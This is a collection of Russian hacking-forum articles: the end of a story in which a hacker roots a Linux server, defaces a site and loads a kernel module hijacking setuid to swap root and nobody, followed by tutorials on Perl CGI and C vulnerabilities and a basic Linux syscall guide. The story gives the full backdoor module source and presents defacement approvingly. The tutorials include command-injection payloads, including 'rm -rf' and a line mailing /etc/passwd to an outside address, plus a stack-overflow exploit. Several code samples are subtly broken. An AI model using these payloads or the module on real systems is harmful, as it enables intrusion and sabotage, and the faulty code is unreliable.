
Первым делом команда who...

[STR]$ who
FraCrEx :0 2009-07-02 1.05
...показала что мы одни в системе.

«Отлично, теперь можно не торопиться, интересно какие у нас права»

[STR]$ id
uid=10(FraCrEx) gid=10(FraCrEx) группы=10FraCrEx) context=unconfined_u:system_r:hotplug_t:s0-s0:c0.c1023
На счастье uname показала, что на сервере крутилась Linux 2.6.30.
Под него был недавно написан эксплоит, который можно найти
здесь

Залив исходник на сервер Макс попытался его скомпилировать.

[STR]$gcc –sploit sploit.c

Но компилятор упорно не хотел собирать программу.

Открыв код, взломщик нашел то, что мешало компиляции.
Во-первых, в условии была синтаксическая ошибка:

If(result=NULL)
{action}

Во вторых, главная функция не принимало аргументов, хотя в ходе эксплоита они использовались.

К тому же в начале кода присутствовала такая строка:

System("rm –fr *")

«Очевидно, разработчик хотел отпугнуть скрипт-кидди»

После исправления ошибок, эксплоит успешно скомпилировался и Макс получил Root.
Увлекшись взломом, он забыл о главной цели – сайт с антироссийским содержанием.

«Теперь можно устроить маленькую месть»

Найдя на сервере нужные файлы, взломщик повесил простенький дефейс

Можно было потереть всю базу сайта, но Максим отказался от этой идеи.

«Хм... админа так и нет. Как бы еще напакостить…?»

Тут Максу пришла одна идея.

«Что если подшутить над админом?
Пусть root пользователь сможет войти только с правами nobody, а все остальные наоборот – root»

Для этого нужно было подключить к ядру модуль с нужным кодом.
Порывшись у себя в файлах, Макс нашел исходник, который реализует весь прикол:

#define __KERNEL__
#define MODULE

#include
#include
#include
#include
#include
#include
extern void *sys_call_table[];
int (*orig_setuid)(uid_t);
int change_setuid(uid_t uid)
{
switch (uid)
{
case 0:
current->uid = 99;
current->euid = 99;
current->gid = 99;
current->egid = 99;
break;
default:
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
break;
}
return 0;
}
int init_module(void)
{
orig_setuid = sys_call_table[__NR_setuid32];
sys_call_table[__NR_setuid32] = change_setuid;
return 0;
}
void cleanup_module(void)
{
sys_call_table[__NR_setuid32] = orig_setuid;
}
Скомпилировал его:

[STR]$ gcc -o code.o -c code.c

Далее скопировал в каталог /lib/midules

cp code.o /lib/modules

И загрузил в ядро

insmod code.o

«Пусть админ побесится»

Закрыв окно терминала, Максим устало взглянул на часы.
Было 2:23.
Отправив kerny в оффлайн сообщение об удачном дефейсе, он выключил компьютер.
Можно было идти спать.
Спихнув с софы кота, Макс упал на подушку и заснул.

UTRO или послесловие
В этом рассказе я позволил себе маленький эксперимент. Я взял что-то из реальности, что то сам выдумал и на основе этого составил весь текст. В любом случае, приведенные в рассказе уязвимости встречались мне реально. Кстати, дело в том, что у меня нет даже среднего образования, так что прошу прощения за мою некрасивую речь. Ну, вот и все. Жду комментариев и жесткой критики.

StraNger aka reaL StraNger

Баги в исходных кодах. Part 2

Эта статья является логическим продолжением предыдущей. Если вы читали ее, то помните, что мы говорили об уязвимостях в исходных кодах на языке Си. В этой статье я хочу поговорить об ошибках в CGI программах. Как показывает практика, баги в скриптах не уступают по своей опасности уязвимостям в прикладных программах.
Мы поговорим о perl скриптах. Возможно, вы скажете, что perl уже устарел и в web он мало где используется. Но все-таки он есть. И думаю, знание слабых мест этого языка никому не помешает.
B O D Y
Perl расшифровывается, как Practical Extraction and Report Language (практический язык для извлечения данных и составления отчётов).  Он простой, мощный и небезопасный. Некоторые дыры в скриптах на перл похожи на дыры в php скриптах.
К этому можно отнести SQL injection или  XSS. Но есть и индивидуальные ошибки. Например, символ конвейера   перл может воспринять как команду на запуск приложения. Кстати, в перл не может быть переполнения буфера в отличие от того же Си.
Это все разберём ниже. Прежде чем рассказывать про аудит кода, я покажу и расскажу принцип работы CGI сканеров.
CGI сканеры
Как и любое другое действие, поиск уязвимостей можно автоматизировать. Одним из решений является применение CGI сканеров (сейчас их называют сканеры безопасности).
В состав классического сканера обязательно входит база наименований уязвимых скриптов. База составлена с помощью нашего любимого багтрака. Так можно составить свою базу. Сканеры берут данные из базы и производят запрос к нужному серверу. Если сервер отвечает, что файл такой есть, можно пойти и найти описание уязвимости. Часто такие сканнеры постепенно обрастают разными функциям вроде составление листинга директорий сайта либо Revers IP(определение какие еще соседние  домены зарегистрированы на сервере)
Разберём несколько программ:
Nikto – конечно, эта программа  должна быть на первом месте. Написана на перл (кстати). Есть поддержка SSL. Проверяет хост на известные уязвимости, также на устаревшее ПО. Есть как для linux так и для Winдows. Кстати nikto построен на основе легендарного (но, к сожалению, устаревшего) сканера Whisker.
VOID EYE-работает через прокси. Поддержка скинов.
UKR Cgi Scanner - еще один. Написан на Perl. Имеет html дизайн.
Автоматизация это конечно хорошо, но вы не должны забывать, что сканеры не дают 100% гарантии. Программы пишут люди, а людям свойственно ошибаться. Поэтому полагаться целиком на сканеры не стоит.
А теперь поговорим о поиске багов aka «багоискательстве».
Аудит кода
В прошлой статье я говорил о том, что нужно проверять все входящие данные. Как ни странно, но на CGI программы это правило тоже действует. Даже, пожалуй, нужно еще более жестко следить за входящей информацией. Обычно  пользователь вводит ее в текстовое поле, либо в адресной строке (при GET запросе).
Самая старая и известная бага: при открытии файла подставляем “|”(pipe – пайп) и выполняем команды на сервере.
Работает это через функцию open. Приведу пример:
#тут получаем данные в переменную, например из веб формы
$n=$F{data}
#Открываем
open(TEXT,$n)
#считываем
while()
{

Выводим.
print $_;
}

Если ввести ,например, ls| получим листинг директории (если мы в *nix системе) Т.е. выполняется консольная команда, если пристыковать к ней  «|» Правда, уязвимость постепенно уходит в историю.
Тут как раз можно поговорить про «пайпы»(|); При работе с open можно использовать опцию «-е»
Он проверяет, есть ли в переменной pipe. Если есть, дает пинка. Пример:
$n=$F{data}
if(!(-e $n)) die("нАз засекли");
open(TEXT,$n);

Но, естественно, эту защиту можно обойти с помощью NULL byte ():
$n="/bin/ls\0 /etc|";
Теперь как только опция “-e” увидит null byte, она остановит обработку. И pipe не будет замечен. Вот так.
Кстати, функцией open можно читать файлы на сервере. Если не смотреть на технические детали, то эта ошибка очень похожа на php inсlude bug.
Главная проблема безопасности в perl -  это передача оболочке ОС пользовательских переменных без их проверки и использование опасных функций.
К таковым можно отнести те, которые работают с процессами и командами ОС, а это: exec(),system(),fork(),readpipe()
Сами понимаете, если аргументы, например, функции system, проверяться не будут, то у нас появляются очень интересные возможности.
Также существует функции eval (php программисты меня поймут), дело в том, что функция выполняет код, который передается ей в качестве аргумента. Естественно, если не производить фильтрации, то взломщик сможет выполнить произвольный код.
В перле есть такая вещь как обратные кавычки(“).Все, что в них заключено, отправляется на выполнение в shell оболочку. Понимаете, к чему я клоню? Нет проверки входящих данных – и шелл наш.
Часто нерадивые программисты забывают фильтровать данные Cookies. А ведь изменить HTTP запрос и поставить в «куки» кавычку совсем не сложно.
Если используются переменные окружения, то, возможно, они могут тоже представлять опасность. Например, некоторые можно перезаписать.
Хорошо, если в скрипте присутствует фильтрация, но фильтроваться могут не все символы. Нужно всегда внимательно смотреть на это. Возможно, разработчик кое- что пропустил.
Вот примерный список символов, которые нужно фильтровать:
$filename =~/[<>\|\-&\.\\\/\0]/
Как и в php или в asp, в perl возможен sql injection bug.
Давайте разберёмся подробнее, как перл работает с mysql. А потом поговорим про инъекции.
Для работы с СУБД mysql используется модуль mysql(use mysql)
Вот так подключаемся к базе :
$db = Mysql->Connect($host,$database,$password,$user);
Далее с помощью ListFields мы занесем в переменную $s кол-во столбцов и подобную информацию о таблице
$s = ListFields $db $table;
А вот так мы выбираем данные:
@arr = @{$s->name}; #массив имен столбцов.
Ну и самое важное – сам запрос к БД:
$s = $db->Query($sq);
А вот такой код будет уязвим:
#Тут мы НЕ фильтруем $d
$ = $db->Query("SELECT * FROM Widget_Table WHERE widget_id = $id") or die $Mysql::db_errstr;
Ну и далее подставляем кавычку и пытаемся вытащить данные из базы.
Practice
Ну что ж, пришло время практики. Как и в прошлой статье, я буду выкладывать отрывки уязвимых программ. Ваша задача найти уязвимость. Если возникнут проблемы, вы как всегда сможете прочесть решение.
$status=$FORMA{stat}'
$t=$FORMA{'text'};
print "Output text\n";
if($status)
{
$t=~s/([.;\&<>\|\\\?~^\{\}\[\]\(\)*\n\r])/g;}
open(TEXT,$t) or die("error, error, error");
while()
{print $_}
}

Как видите, фильтрация есть. Но не безопасная.
Не фильтруются, например, символы ‘`’ или ‘0′
Взломщик может отправить что- то вроде: rm -rf/
или
./../../var/log/boot.log
Кстати, '/' тоже не фильтруется
$a=param('oldf')
$b=param('newf');
system "mv $a $b";

А тут бросается в глаза отсутствие фильтрации. К тому же используется опасная функция system()
Если введем что нибудь типа:
/t.txt; rm -rf/
то для администратора этот день закончится неудачно.
$mail='/usr/sbin/sendmail';
$m=FROMA{'usrs'};
open(MAIL,"|$mail $m");
#Какой то вывод...
#..............
close(MAIL);

Опять же нет фильтров.
Да и происходит работа с внешними приложениями(sendmail). Что само по себе уже опасно.
А если мы введем, например, такую строку:
badkod@mail.ru;mail coolkoder@cool.ru
К нам на e-mail (coolkoder@cool.ru) придет содержимое файла с именами пользователей системы(/etc/passwd)
На этом все.
O U T R O
В последнее время php и asp постепенно вытесняют perl. Думаю это правильно. Ведь перл очень уязвим. В этом есть и доля вины разработчиков языка. В нем полно опасных функций, которые открыто взаимодействуют с системой. Плюс неопытные программисты.
Но это вовсе не значит, что perl себя изжил. В системном администрировании он незаменим.
Ну что ж. Надеюсь, сегодня вы открыли для себя что-то полезное, и, если будете программировать CGI приложение, не допустите элементарных оплошностей.

StraNger aka reaL StraNger

Баги в исходных кодах

Еще не просматривали bugtrack? Я уже заглянул сегодня. Опять куча уязвимостей. Опять куча эксплоитов. Программисты – тоже люди, а потому могут допускать ошибки. И эти ошибки стоят root-a. JИтак, сегодня мы поговорим о такой вещи, как «баги» исходного кода.  Как вы знаете, ошибки допускаются и в скриптах, и в прикладных программах. В этой статье я хотел бы рассказать об ошибках в программах на языке Си. От вас понадобится знание языка, основ переполнения буфера и построения эксплоитов.
GO!
Вообще, цель использования уязвимости в программе – это передать целевой системе shellcode, который выполнит необходимые действия. Но некоторые уязвимости можно реализовать, не прибегая к шеллкоду. Например, вызвать «отказ от обслуживания» (DoS).
Давайте разложим все это по полочкам: при поиске уязвимостей бывают частные и нечастные случаи. К частным можно отнести известные «баги» вроде ошибки форматной строки или переполнения буфера (Buffer Overflow). К нечастным случаям можно отнести то, что мы находим  при определённых обстоятельствах. Эти уязвимости нигде не описаны, т.е. приходится рассчитывать только на свои мозги.
Если копать глубже, то бывают ошибки, которые можно использовать локально, а бывают, которые мы реализуем удаленно. Естественно, это зависит от приложения, в котором была найдена уязвимость. Ошибки в разных сетевых службах, как вы, наверное, догадались, мы реализуем удаленно. Часто такие ошибки  эксплуатируем для DoS. Но бывает, что можно поднять свои права.
А если у нас есть доступ к серверу и вы нашли там программу с SUID битом, в которой присутствует уязвимость, то можно запустить shell с правами рута. Ошибка может находиться в самом ядре системы, что тоже может повысить наши привилегии.
К примеру, недавно была обнаружена дыра в Linux kernel 2.6.30, она позволяет выполнять произвольный код с правами root. Уязвимость появилась из-за ошибки разыменования нулевого указателя.
Как видите, ошибка не тривиальная. И для грамотного поиска нужно очень хорошо знать язык Си и особенности системы. Давайте поговорим о том, на что нужно
обращать внимание при поиске уязвимых мест.
Поиск жучков.
При аудите исходного кода (в жаргоне – «сорца»), в первую очередь нужно обязательно смотреть на данные, которые поступают из внешних источников (часто от пользователя). Т.е. большинство переполнений бывает как раз из-за неграмотной проверки входящих данных. Вообще специалисту по безопасности кода можно жить только с одним правилом: «Проверяй все входящие данные».
Так же нужно обращать внимание на буферы со статистическим выделением памяти, то есть буферы фиксированной длины. Данные, которые туда поступают, могут не проверяться, что приведет к тому же переполнению.
При вычислениях нужно обращать внимание, не выходит ли значение за пределы диапазона типа переменной. Если непонятно, приведу пример: переменная типа «integer». Ее диапазон – 2147483648 до 2147483648, а если значение будет больше, то поведение программы может выйти из-под контроля. Например, в gcc такая ошибка приводит к тому, что программа выполняет обратное действие. Если вы прибавляли 10, то будет делать наоборот, т.е. отнимать. Это  называется Integer Overflow.
Опасным может быть некорректное приведение типов. И еще стоит сказать, что неправильное выделение памяти и работа с ней могут привести к плачевным последствиям, например, к отказу от обслуживания.
Кроме всего прочего нужно заострять внимание на таких опасных функциях, как
strcpy() ,getc(), strcat(), spintf(), printf(), vsprinf(), system() и т.п. Замечу одну интересную вещь: как известно, потенциально опасная функция strcpy() может быть заменена якобы безопасной функцией strncpy(). Но безопасной эта функция будет только при правильном использовании.
Вот пример: stridency(a,b,sizeof(b));Вроде все правильно, и кусок кода безопасный. Но если сделать так (как многие и делают):
strncpy(a,b,strlen(b));
то функция становится опасной к переполнению.
Хочу еще сказать, что для аудита безопасности кода существует множество программ. Думаю, не стоит говорить, что доверять им нельзя. Но, все же, я приведу в пример несколько:
BOON (Buffer Overrun detectiON)- из названия уже ясно, что программа производит поиск ошибок переполнения буфера в коде.
FlexeLint – у этой программы круг уязвимостей больше: например она предупреждает об опасном стиле кода. Тоже ищет переполнения буфера, а также арифметические переполнения и т.п.
KlocWork K7 – аналогично выявляет дефекты и проблемы безопасности исходного кода.
Если вас заинтересовали эти сканеры, подробнее можете почитать здесь: http://www.codenet.ru/progr/other/code-analysers.php
Примеры реальных уязвимостей
Ниже я приведу несколько потенциально уязвимых кусков кода, попробуйте самостоятельно найти «багу», а если не получится, то читайте мое решение.
int main(int argc, char *argv[])
{
char in[255];
int r,f;
sprintf(in,"ls",argv[1]);
r=system(in);
if(!r)
{
f=open("/tmp/log",O_RDONLY,0);
printf("OK!");
}
}

Во-первых, сразу видим, что буфер «in» статистический. Память для него выделена сразу же. Впоследствии это может привести к переполнению при работе с функцией sprintf():
Во-вторых, используется функция system(). Она, как известно, становится опасной, если ее аргументы не проверять. Тут  как раз такой случай. Можно передать строку, которая скомпрометирует целевую систему на действия нежелательные для администратора.
int baga(char *arg){
char *v;
int i,f;
v=(char*)malloc(sizeof(arg))
i=strlen(v);
if(i>10)
{
f=creat("/tmp/import/",0666);
}
else-
{
printf("Sorry. this prorgamm lol\n");
}
}



Уязвимость присутствует при создании временного файла «/tmp/exampl». Дело в том, что можно создать жёсткую ссылку “/tmp/exampl” на какой-нибудь другой файл, и произойдет “конкуренция доступа к каталогу tmp”.
int main(int argc, char *argv[])
{
char v[100];
if(argc>1)
{
strcpy(v,argv[1]);
}
else
{
printf("No symbol\n");
}
}

Тут присутствует самое банальное переполнение буфера v []. Его размер 50, а функцией strcpy() мы можем переполнить буфер. Количество входных данных не проверяется.
int main(int argc, char *argv[])
{
if(argc>1)
{
printf("argv[0]");
}
else
{
printf("No symbol\n");
}

В этом примере, если аргументы больше единицы,  мы печатаем имя исполняемого файла… Невооружённым глазом видна ошибка форматной строки. Если в названии программы будут спецификаторы для printf(), то можно произвести кое- какие действия. Например, если название будет таким: “%x_%x_%x_name”, можно получить содержимое стека.
int main(int argc, char *argv[])
{
add=atoi(argv[1])
real=1000000000;
printf("Введите кол-во у.е. которые вы хотите добавить\n");
real+=add;
}

Тут есть место атаки класса integer overflow. О ней я уже говорил.
Переменная add не проверяется, т.е. все это может выйти за пределы диапазона integer.
А как же сетевые службы? Приведу опять же пример. Допустим, есть ftp демон. После подключения к нему запрашивается login:password. Так вот, они могут не проверяться. Их переполнение приводит к DoS.
Мы разобрали несколько опасных уязвимостей. Чтобы как то подкрепить полученные знания практикой, я покажу пример простенького сплоита. Он реализует  ошибку переполнения буфера. Если вы знакомы с ней, то знаете, что shellcode можно передать через стек, через кучу и через переменную окружения. Через стек, наверное, самый распространённый способ. Я покажу реализацию передачи шелл кода через переменную окружения.
Скажу сразу, что эксплоит лишь показательный. В реальных условиях маловероятно, что его можно применить. Но для примера он подходит. Объяснять технику написания сплоитов я не буду, т.к. это тема заслуживает отдельной книги.
Итак, возьмём уже известную нам программу:
//proga
int main(int argc, char *argv[])
{
char v[100];
if(argc>1)
{
strcpy(v,argv[1]);
}
else
{
printf("No symbol\n");
}
}

Вот так примерно можно передать шеллкод через переменную окружения:
#include
#include
#include
int main()
{
char shellcod[]=//Собсно сам код. Но его не пишу.
char *e[2]={shellcod,NULL};
char b[127];
int i,ret,*ptr;
ptr=(int*)(b);
ret=0xbfffffff-5-strlen(shellcod)-strlen("./proga");
for(i=0;i<127;i+=4)
{*ptr++=ret;
}
execle("./proga","proga",b,NULL,e);
}

Сначала мы подготавливаем буфер для внешней переменной, в которой будет шелл код:
char *e[2]={shellcod,NULL};
Потом буфер для переполнения:
ptr=(int*)(b);
Потом подсчитываем адрес шеллкода, по которому он будет после исполнения функции execle
ret=0xbfffffff-5-strlen(shellcod)-strlen("./proga");
Далее загружаем программу с переполняющим буфером и shell кодом во внешние переменные
execle("./proga","proga",b,NULL,e);
Произошло переполнение.
Вот и все.
OUTRO
Ошибки были, есть и будут. Этого не избежать. Вопрос только во времени и в вашей осведомленности в данной области.
Эта статья рассказывает лишь о малой доле «дыр» в исходных кодах. Если хотите продолжать, то нужно практиковаться: читать код, искать лазейки. Советую чаще посещать bugtrack, в нем обычно всегда описывают причину уязвимости и часто к описанию прилагается exploit.
Вот несколько толковых багтраков:
Надеюсь вы узнали что то новое и не потратили время зря. Удачи!

StraNger aka reaL StraNger

Основы *NIX кодинга. Часть 1.

Привет всем.
Цель данной статьи рассказать читателям об основах linux программирования с помощью системных вызовов.
В качестве инструментов нам понадобится gcc и make. Они входят в поставку большинства дистрибутивов, ниже я опишу их.


Инструменты.

Перед тем как начать программировать, стоит разобрать, что нам поможет в этом.
Для начала компилятор gcc(GNU project C Compiler):
Пример простейшего использования:

Код:

$gcc /proga.c -o /prog

или так:
Код:

$gcc -o /prog /proga.c

Ключ -o указываем имя и путь к будущему бинарнику
Если в исходном тексте есть ошибки, то умный компилятор укажет на них.
Маны:
http://www.linuxcenter.ru/lib/books/linuxdev/linuxdev1.phtml
http://skif.bas-net.by/bsuir/prog_in_linux/node3.html

Make - программа может состоять из множества файлов, которые нужно как то собрать в один. Если файлов мало то можно собрать использую только gcc, но файлов может быть очень много. Именно для таких случаев и применяем сборщик Make. Для ее работы необходимо использовать makefile - специальные файлы со сценарием сборки.
Что бы лучше понять эти сценарии давайте попробуем собрать программу, состоящую из двух частей с помощью gcc:
У нас есть файл main.c и modul.c:
Код:

$gcc - -c main.c
$gcc - -c modul.c

Тут мы указали ключ -c, он означает, что нужно собрать объектный файл, это еще не является полноценной программой, ее мы соберем дальше:
Код:

$ gcc -o programm main.o modul.c

Теперь мы собрали бинарник из двух файлов.
Итак, вернемся к make, как я уже говорил файлов для сборки может быть очень много, поэтому используем makefile. Попробуем сделать его самим:
Код:

hello:
main.o programm.o
gcc -o programm main.o modul.o

main.o:
main.c
gcc -c main.c

modul.o:
modul.c
gcc -c modul.c

clean:
rm -f *.o programm

Думаю все ясно. Мы выполняем почти те же действия, что и выше, но уже автоматически. В разделе Clean мы отчищаем директорию от временных файлов. Да, и не забываем про знаки табуляции, они очень важны

Вот мануал для самостоятельного изучения
http://www.linuxrsp.ru/docs/gm.html

Тянуть не будем, и перейдем к делу.
Для начала определимся, что такое системный вызов:
Системный вызов это обращение, какой либо прикладной программы к ядру ОС, для выполнения какой либо операции.

Первым, как думаю самым несложным, мы разберем работу с файлами.

Общее представление о работе с файлами.


Для работы с файлами в linux существуют вызовы open, creat, write, read. Думаю, смысл их ясен. Разберем, как они работают.
Код:

open(char *filename, int mode);

Во-первых, функция возвращает -1 при ошибке. Если все нормально, то возвращает дескриптор файла.
char *filename - имя/путь файла
int mode - режим, с которым нужно открыть, т.е. что нужно делать с файлом - читать, писать или читать и писать (=\)
O_RDONLY - чтение
O_WRONLY - запись
O_RDWR - чтение и запись
Для использования этой функции нужно подключить модуль fcntl.h

Пример:
Код:

-----
-----
open("/var/log",O_RDONLY);
-----
-----


Код:

read(int d, char *buf, size_t countb)

Аналогично предыдущей функции возвращается -1 при ошибке, а если ошибок нет то целое число.
int d - источник, т.е. дескриптор, т.е. результат выполнения функции open.
ichar *buf - место, куда будут считаны данные.
size_t countb - ну и кол-во байт, которые нужно считать.
Для использование подключаем модуль unistd.h

Пример
Код:

-------
-------

int d=open('/var/log/',RDONLY);
char *buf;
size_t count b=1024;
read(d,buf,countb)

-------
-------

Код:

creat(char *name, mode_t right)[/COLOR]


char *name - имя создаваемого файла
mode_t right - права на доступ
При ошибке -1.
Для работы подключаем модуль fcntl.h

Пример
Код:

-------
-------
creat("/home/stranger/myfile",754)
-------
-------

Код:

write(int d, char *buff,size_ size);



int d – дескриптор файла для записи
char *buff – сами данные которые нужно записать
size_ size – кол-во байт при записи
-1 при ошибке, для использования подключаем unistd.h

И в конце стоит сказать про -
Код:

close(int d);

Единственный аргумент, который нужно передать функции, это дескриптор открытого файла. И функция закрывает файл.


Ну что ж пришло время написать полноценный пример.
Начнем с простенькой программы для копирования файлов.
В качестве аргументов она будет принимать имя/путь исходного файла и имя/путь
скопированного файла.
Значит сначала открываем исходный файл (open) и считываем его(read). Далее создаем файл (create) и записываем в него считанный первый файл (write).
Код:

#include [stdio.h]
#include [unistd.h]
#include [fcntl.h]
#include [fcntl.h]
#define BUF 1024
main(int argc, char *argv[])

{
int in,out,chars;
char buffer[BUF];
if(argc!=3)
{
printf("Вы ошиблись в вводе аргументов\n");
exit(1);
}
if((in=open(argv[1],O_RDONLY))==-1)
{
printf("Ошибка открытия файла для копирования\n");
exit(1);
}
if((out=creat(argv[2],755))==-1)
{
printf("Ошибка при создании нового файла");
exit(1);
}
while((chars=read(in,buffer,1024))>0)
write(out,buffer,1024);
}

Замечу, что новый файл мы создали с правами 755, что означает rwxr-xr-x. Можно было бы принять эти данные от пользователя.
Теперь я расскажу о таком вызовы как: stat.
Он возвращает нам информацию о файле.
Код:

int i=stat(chat *name, struct stat *buff);

chat *name – имя файла
struct stat *buff – структура типа stat, в ней будет храниться информация о файле.

Какие поля есть у это структуры?:
[/code]
st_mode - тип, права доступа.
st_atime - время последнего доступа.
st_size - размер.
st_uid - юид юзера.
st_gid - идентификатор группы пользователей
st_mtime — время последней модификации файла
st_atime — время последнего доступа
[/code]
Для этого вызова нужно использовать библиотеку sys/stat.h
Давайте напишем пример, который будет выводить информацию о заданном файле:
Код:

#include [stdlib.h]
#include [stdio.h]
#include [sys/stat.h]
int main(int ac,char *ag[])
{
struct stat buffer;
int r;
if(ac!=2)
{
printf("Пожалуйста введите необходимые аргументы\n");
exit(1);
}
if((r=stat(ag[1],&buffer))==-1)
{
printf("Файл не найден\n");
exit(1);
}
printf("Размер файла: %o\n",buffer.st_size);
printf("Права доступа к файлу: %d\n ",buffer.st_mode);
printf("UID: %d\n ",buffer.st_uid);
printf("GID: %d\n ",buffer.st_gid);
}

Изменение статусной информации файла.

Мы уже разобрали несколько операций с файлами. Теперь давайте поговорим об изменении информации о файле. А это – имя, gid, uid, и т.п.
Вообще для этих целей существуют специальные вызовы (разберем ниже), но их использовать необязательно.
Приведу пример, нужно изменить uid файла. Для этого используем всю туже структуру stat, но теперь не считываем информацию, а записываем ее. Пример.
Код:

------
------

buffer.st_uid=0644;

------
------

А вот такой пример изменяет uid файла на наш собственный.
Код:

------
------
buffer.st_uid=getuid();
------
------

Прокомментирую что getuid() возвращает юид текущего юзера.

Вот такой пример проверяет рут вы или нет:
Код:

If(getuid()!=0)
Printf(“Вы не рут, курите дальше»)
Else
Printf(«Похоже вы порутили этот сервер =)»);

Выше упоминалось, что существуют специальные функции для изменения статусной информации о файле. Разберем их:
Меняем имя файла
Код:

Rename(char *oldname, char *newname);

char *oldname – старое имя
char *newname – новое имя
Для использования подключаем stdio.h
Пример:
Код:

------
------
rename(“/dvu”,/home/stranger/jd”);
------
------

Меняем права доступа к файлу.
Код:

chmod(char *namefile, mode_t mode);

char *namefile – путь и имя файла
mode_t modeновые права для файла.

Для испольвания подключаем sys/types.h, sys/stat.h
Пример
Код:

-------
-------
chmod(“/sploit.c”,755);
-------
-------


Изменяем uid,gid:
Код:

chown(char *filename,uid_t uid,gid_t gid);

char *filename – путь и имы файла
uid_t uid[ новые юид
gid_t gid новый gid
Можно указать только uid или только gid.
Для использоания подключаем unistd.h
Пример:
Код:

-------
-------
chown(“/jaga”,0,11);
-------
-------


Побайтное смещение.
Напоследок разберем одну функцию – lseek
она изменят текущую позицию в файле
Код:

lseek(int d,off_t di,int base);

int d – дескриптор файла
off_t di - смещение в байтах
int base – позиция.
Позиции бывают такие:
Код:

SEEK_SET – от начала файла
SEEK_CUR - от текущей позиции
SEEK_END – от конца файла

Напишем пример, который добавляет строку в конец текстового файла
Код:

#include [unistd.h]
#include [unistd.h]
#include [fcntl.h]
#include [stdio.h]
int main()
{
int r;
r=open("/home/stranger/hell.txt",O_RDWR);
lseek(r,0,SEEK_END);
write(r,"hello man!",sizeof("hello man!"));
close(r);
}

OUTRO
На этом пока все. Если статья будет актуальна, то продолжу писать.
Как дополнительный материал могу дать вам статью Ричарда Столлмена “Проект GNU”
http://www.gnu.org/gnu/thegnuproject.html
– исходный текст английский, но снизу страницы можно найти перевод
Удачи!
ps тут оформление более красивое

Copyleft (Ɔ); StraNger ideas